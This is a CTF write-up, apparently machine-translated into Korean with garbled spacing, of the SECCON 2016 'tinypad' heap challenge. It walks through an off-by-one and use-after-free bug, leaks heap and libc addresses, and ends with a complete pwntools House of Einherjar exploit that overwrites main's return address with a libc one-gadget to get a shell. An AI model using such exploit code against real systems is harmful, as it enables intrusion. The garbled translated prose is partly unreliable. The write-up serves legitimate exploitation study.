House Of Einherjar(2016 Seccon tinypad)
31286 단어 활용 단어 참조
got 표 작성 불가: 납치 프로그램 실행 흐름 의 사고 1. hook 함수 복사.2. 주소 canary 와 NX 보 호 를 되 돌려 줍 니 다.
빈틈 과 데이터 구조
if ( v13 > 0 && v13 <= 4 )
{
if ( *(_QWORD *)&tinypad[16 * (v13 - 1 + 16LL)] )
{
c = '0';
strcpy(tinypad, *(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
while ( toupper(c) != 'Y' )
{
write_n((__int64)"CONTENT: ", 9LL);
v8 = strlen(tinypad);
writeln((__int64)tinypad, v8);
write_n((__int64)"(CONTENT)>>> ", 13LL);
v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
read_until((__int64)tinypad, v9, 0xAu);
writeln((__int64)"Is it OK?", 9LL);
write_n((__int64)"(Y/n)>>> ", 9LL);
read_until((__int64)&c, 1uLL, 0xAu);
}
strcpy(*(char **)&tinypad[16 * (v13 - 1 + 16LL) + 8], tinypad);
v3 = 8LL;
bss 세그먼트 오프셋 0x 100 위치 에 size 와 chunk 의 주 소 를 넣 고 chunk 에 content 를 저장 합 니 다.bss 세그먼트 의 시작 은 edit 함수 버퍼 의 데 이 터 를 저장 합 니 다.
1. 함수 사용자 정의 read 함수 에 off by one 구멍 이 있 습 니 다.이 코드 는 비교적 번 거 로 워 서 수 동 으로 결론 을 내 릴 수 있다.각 chunk 의 prive 를 복사 할 수 있 습 니 다.size 와 priveinuse 필드, edit 길이 가 256 일 때 memo 1 의 size 필드 를 덮어 씁 니 다 (0 으로 만 설정 할 수 있 습 니 다)
2. free 이후 size 만 0 으로 설정 하고 지침 을 0 으로 제거 하지 않 아 UAF 구멍 이 있 습 니 다.
사고의 방향 을 이용 하 다.
off by one 만 이용 하려 면 2 층 chunk 가 필요 합 니 다. 여 기 는 1 층 만 있 으 면 안 됩 니 다.https://ctf-wiki.github.io/ctf-wiki/pwn/heap/off_by_one/)。
unlink 는 넘 쳐 야 합 니 다. 다음 더 미 를 완전 하 게 조작 해 야 합 니 다. 여 기 는 unlink 만 사용 해도 안 됩 니 다.
double free:
if ( v8 == 'D' )
{
write_n("(INDEX)>>> ", 11LL, v9);
v20 = read_int();
if ( v20 > 0 && v20 <= 4 )
{
if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] )
{
free(*(void **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
*(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] = 0LL;
writeln("
Deleted.", 9LL);
}
else
{
writeln("Not used", 8LL);
}
}
여 기 는 free 함수 에 제한 을 두 었 습 니 다. double free 는 안 됩 니 다.
house of einherjar 는 어떤 참고 입 니까?https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/
house of einherjar 필요: inuse 위 치 를 수정 할 수 있 고 신청 한 공간 내용 은 두 단위 가 제어 할 수 있 습 니 다.(unlink 를 진행 하 는 chunk 에 대해 서 는 자신의 size 부분 을 검사 하지 않 습 니 다) house of einherjar 를 이용 하여 bss 세그먼트 의 공간 에 신청 하고 memo 배열 을 수정 하여 복사 hookmalloc 또는 반환 주소 수정
v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
read_until((__int64)tinypad, v9, 0xAu);
원래 길 이 를 읽 고 입력 하기 때문에, malloc훅 은 처음에 0 이 었 기 때문에 사용 할 수 없 으 면 두 번 째 방안 만 사용 할 수 있 습 니 다.
주 소 를 되 돌려 주 는 방안 가 져 오기: libc 누설 찾기environ 함수 계산 mainarean 주소
1. bss 공간 에 신청 하려 면: heap 주소, bss 주소 2. 복사 되 돌려 주 는 주소: libc 주소, 적당 한 ropgedat
필요 한 데이터 가 져 오기
먼저 ropgedat 를 찾 아 libc 라 이브 러 리 의 / bin / sh 문자열 을 검색 하면 이곳 을 찾 을 수 있 습 니 다. 완벽 한 ropgedat 입 니 다.
text:000000000004520F loc_4520F: ; CODE XREF: sub_44E20+16E↑j
.text:000000000004520F lea rax, aBinSh+5 ; "sh"
.text:0000000000045216 lea rsi, unk_3C6560
.text:000000000004521D xor edx, edx
.text:000000000004521F mov edi, 2
.text:0000000000045224 mov [rsp+188h+var_148], rbx
.text:0000000000045229 mov [rsp+188h+var_140], 0
.text:0000000000045232 mov [rsp+188h+var_158], rax
.text:0000000000045237 lea rax, aC ; "-c"
.text:000000000004523E mov [rsp+188h+var_150], rax
.text:0000000000045243 call sigaction
.text:0000000000045248 lea rsi, unk_3C64C0
.text:000000000004524F xor edx, edx
.text:0000000000045251 mov edi, 3
.text:0000000000045256 call sigaction
.text:000000000004525B xor edx, edx
.text:000000000004525D mov rsi, r12
.text:0000000000045260 mov edi, 2
.text:0000000000045265 call sigprocmask
.text:000000000004526A mov rax, cs:environ_ptr_0
.text:0000000000045271 lea rdi, aBinSh ; "/bin/sh"
.text:0000000000045278 lea rsi, [rsp+188h+var_158]
.text:000000000004527D mov cs:dword_3C64A0, 0
.text:0000000000045287 mov cs:dword_3C64A4, 0
.text:0000000000045291 mov rdx, [rax]
.text:0000000000045294 call execve
fast bin 크기 의 chunk 는 방출 후 fd 포인터 에 데 이 터 를 기록 하여 단일 체인 표를 구성 합 니 다.이 럴 때 chunk 의 내용 을 출력 하면 됩 니 다.
small bin 크기 의 블록 을 방출 한 후 unsort bin 에 들 어 갑 니 다.unsort bin 에 fd 와 bk 는 양 방향 링크 입 니 다. 체인 에 있 는 첫 번 째 chunk 의 fd, bk 지침 은 main 을 가리 킵 니 다.arena 주소, 이 주소 와 libcbase 간 의 오프셋 은 고정 적 이다.
코드 분석 이용
add(0x10, 'a')
add(0x10,"b")
add(0x100,"c")
delete(2)
delete(1)
p.recvuntil(" # CONTENT: ")
heap_base=u64(p.recvuntil('
',drop=True).ljust(8,'\x00'))-0x20
print "heap_base="+hex(heap_base)
gdb.attach(p)
#x /10xg 0x602140
delete(3)
p.recvuntil(" # CONTENT: ")
main_arena=u64(p.recvuntil('
',drop=True).ljust(8,'\x00'))
print "main_arena="+hex(main_)
chunk 1 과 chunk 2 를 삭제 한 후 hep 출력base
pwndbg> x /10xg 0x2110000
0x2110000: 0x0000000000000000 0x0000000000000021
0x2110010: 0x0000000002110020 0x0000000000000000
0x2110020: 0x0000000000000000 0x0000000000000021
0x2110030: 0x0000000000000000 0x0000000000000000
0x2110040: 0x0000000000000000 0x0000000000000111
그래서 여 기 는 0x 20 을 빼 야 합 니 다.
chunk 3 를 삭제 한 후 chunk 3 는 인접 한 2 개의 chunk 를 합 친 후 unsort bin 에 넣 고 topchunk 에 의 해 회수 된다.
pwndbg> heap
0x148b000 PREV_INUSE {
prev_size = 0x0,
size = 0x21001,
fd = 0x7f434a1aab78 <main_arena+88>,
bk = 0x7f434a1aab78 <main_arena+88>,
fd_nextsize = 0x20,
bk_nextsize = 0x20
}
unsort bin 에 넣 는 것 을 만족 시 키 고 하나의 chunk 만 있 기 때문에 fd 와 bk 의 위 치 는 모두 mainarena 。 main 획득 방법arena 와 libc 사이 의 오프셋?
liu@liu-VirtualBox:~$ pidof tinypad
4072
liu@liu-VirtualBox:~$ cat /proc/4072/maps
00400000-00402000 r-xp 00000000 08:01 471441 /home/liu/Desktop/tinypad
00601000-00602000 r--p 00001000 08:01 471441 /home/liu/Desktop/tinypad
00602000-00603000 rw-p 00002000 08:01 471441 /home/liu/Desktop/tinypad
01082000-010a3000 rw-p 00000000 00:00 0 [heap]
7ff38f379000-7ff38f539000 r-xp 00000000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f539000-7ff38f739000 ---p 001c0000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f739000-7ff38f73d000 r--p 001c0000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f73d000-7ff38f73f000 rw-p 001c4000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f73f000-7ff38f743000 rw-p 00000000 00:00 0
7ff38f743000-7ff38f769000 r-xp 00000000 08:01 457280 /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f949000-7ff38f94c000 rw-p 00000000 00:00 0
7ff38f968000-7ff38f969000 r--p 00025000 08:01 457280 /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f969000-7ff38f96a000 rw-p 00026000 08:01 457280 /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f96a000-7ff38f96b000 rw-p 00000000 00:00 0
7fffbd9ac000-7fffbd9cd000 rw-p 00000000 00:00 0 [stack]
7fffbd9fb000-7fffbd9fd000 r--p 00000000 00:00 0 [vvar]
7fffbd9fd000-7fffbd9ff000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
main_arena=0x7ff38f73db78
offset=0x7ff38f73db78-0x7ff38f379000=0x3c4b78
여기까지 필요 한 데 이 터 는 기본적으로 완성 되 었 다.다음은 구조 house of einherjar.
add(0x18,"d"*0x18)
add(0x100,"e"*0xf8+'\x11')
add(0x100,'f'*0xf8)
free 에서 다음 chunk 의 size 를 검사 하기 때문에 '\ x11' 본 chunk 의 size 는 0x 111 에서 덮어 쓰 면 0x 100 으로 변 합 니 다.
fake_addr=0x602040+0x20
size=heap_base-fake_addr+0x20
print hex(size)
payload="b"*0x20+p64(0)+p64(0x101)+p64(fake_addr)*2
edit(3,payload)
여 기 는 chunk 3 에 쓰 여 있 지 않 지만 bss 세그먼트 의 시작 에 쓰 여 있 습 니 다. 우리 가 여기 서 만 든 fakechunk. unlink 를 돌아 가기 위해 서 는 fd 와 bk 가 모두 fake 여야 합 니 다.addr。
size prive_inuse
다음 chunk 가 넘 치 는 다음 chunk (여 기 는 chunk 3) 의 size 가 필요 합 니 다. inuse 는 1 (기본 unsortbin 에서 첫 번 째 chunk 의 prive inuse 는 1) 입 니 다.(위 키 에서 unlink 라 고 말 할 때 fakechunk 의 size 는 검사 하지 않 고 chunk 2 의 size 만 검사 하 는 것 을 보 았 습 니 다. 왜 size 는 이렇게 이 유 를 모 르 고 큰 사람 이 이 글 을 보고 도움 을 주 었 으 면 좋 겠 습 니까?)다음은 off by one 구멍 을 이용 하여 inuse 비트 를 수정 합 니 다.
for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1):
edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f'))
delete(2)
p.recvuntil("
Deleted.")
strcpy 를 사용 하기 때문에 중간 에 \ x00 이 끊 어 집 니 다. 여 기 는 순환 으로 size 를 기록 합 니 다.
delete 를 실행 한 후 이 렇 습 니 다. 위 조 된 chunk 는 unsort bin 에 넣 습 니 다. 이 과정 에서 size 와 fd, bk 를 설정 합 니 다.다음 에 신청 할 공간 은 여 기 를 먼저 찾 은 다음 에 top chunk 를 사용 할 수 있 습 니 다.우 리 는 정상적으로 0x00000097c0c 0 만큼 큰 chunk 를 신청 하면 mmap 를 사용 하기 때문에 진정 으로 역할 을 하려 면 이 size 를 수정 해 야 합 니 다.
payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena)
edit(4,payload)
프로그램 은 bss 세그먼트 에 원본 데 이 터 를 먼저 복사 하고 edit 의 size 도 원본 size 를 초과 할 수 없 기 때문에 새로운 chunk 를 추가 하 는 것 이 편리 합 니 다.
다음은 복귀 주소 유출 과 복사 복귀 주소 입 니 다.사고: chunk 1 이 environ 을 가리 키 는 주 소 를 설정 하면 출력 할 수 있 고 유출 계산 mainret_addr, chunk 1 이 가리 키 도록, mainret_addr 는 chunk 1 을 gedgat 로 수정 합 니 다.chunk 1 을 수정 하려 면 chunk 2 가 chunk 1 을 가리 키 게 할 수 있 습 니 다.
getgat=libc_base+0x45216
environ_point=libc_base+libc.symbols['__environ']
payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148)
add(0x100,payload)
environ_addr=u64(p.recvuntil('
',drop=True).ljust(8,'\x00'))
print "environ_addr="+hex(environ_addr)
main_ret_addr=environ_addr-30*8
여기 p64 (0x 100) 를 주의 하 십시오. 0 으로 설정 할 수 없습니다. 0 이면 아래 edit 가 실 패 했 습 니 다.이것 도 이 문제 가 더 블 프 리 를 사용 할 수 없 는 이유 다.
모든 것 이 준비 되 어 있 으 니 다음 에 수정 하면 된다.
edit(2,p64(main_ret_addr))
edit(1,p64(getgat))
p.sendline("q")
p.interactive()
전체 exp
from pwn import *
context.log_level="debug"
p=process("tinypad")
elf=ELF("./tinypad")
libc=ELF("./libc.so.6")
offset=0x3c4b78
def add(size,content):
p.recvuntil("(CMD)>>> ")
p.sendline("A")
p.recvuntil("(SIZE)>>> ")
p.sendline(str(size))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
def delete(index):
p.recvuntil("(CMD)>>> ")
p.sendline("D")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
#size=0,p!=NULL
#\x00
def edit(index,content):
p.recvuntil("(CMD)>>> ")
p.sendline("E")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
p.recvuntil("(Y/n)>>> ")
p.sendline("Y")
add(0x10, 'a')
add(0x10,"b")
add(0x100,"c")
delete(2)
delete(1)
p.recvuntil(" # CONTENT: ")
heap_base=u64(p.recvuntil('
',drop=True).ljust(8,'\x00'))-0x20
print "heap_base="+hex(heap_base)
#gdb.attach(p)
#x /10xg 0x602140
delete(3)
p.recvuntil(" # CONTENT: ")
main_arena=u64(p.recvuntil('
',drop=True).ljust(8,'\x00'))
print "main_arena="+hex(main_arena)
libc_base=main_arena-offset
print "libc_base="+hex(libc_base)
# house of einherjar
add(0x18,"d"*0x18)
add(0xf0,"e"*0xf0)
add(0xf0,'f'*0xf8)
add(0x100,"f"*0xf8)
fake_addr=0x602040+0x20
size=heap_base-fake_addr+0x20
print hex(size)
payload="b"*0x20+p64(0x11111111)+p64(0xf1)+p64(fake_addr)*2
edit(3,payload)
for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1):
edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f'))
#edit(1,'a'*0x10+p64(size))
#gdb.attach(p)
delete(2)
p.recvuntil("
Deleted.")
payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena)
edit(4,payload)
#gdb.attach(p)
getgat=libc_base+0x45216
environ_point=libc_base+libc.symbols['__environ']
payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148)
add(0x100,payload)
#gdb.attach(p)
p.recvuntil(" # CONTENT: ")
environ_addr=u64(p.recvuntil('
',drop=True).ljust(8,'\x00'))
print "environ_addr="+hex(environ_addr)
main_ret_addr=environ_addr-30*8
print "main_ret _addr="+hex(main_ret_addr)
gdb.attach(p)
edit(2,p64(main_ret_addr))
edit(1,p64(getgat))
p.sendline("q")
p.interactive()
이 예 는 unbutu 16 에 만 적 용 됩 니 다. 18 관리 전략 이 바 뀌 었 기 때문에 get 셸 을 사용 할 수 없습니다.
참고:https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_이메일[email protected]형님 이 제 문 제 를 해결 해 주 셨 으 면 좋 겠 습 니 다. 도움 을 청 하 는 것 도 환영 합 니 다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
HDU 4857: 탈출 [토폴로지]1 번 부터 n 번 까지 입 니 다.동시에 일부 이상 한 제약 조건 이 있 는데 모두 a 는 b 전에 있어 야 한다. 이 사람들 은 가난 한 사람 도 있 고 부자 도 있다.1 번 이 가장 부유 하고 2 번 이 두 번...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.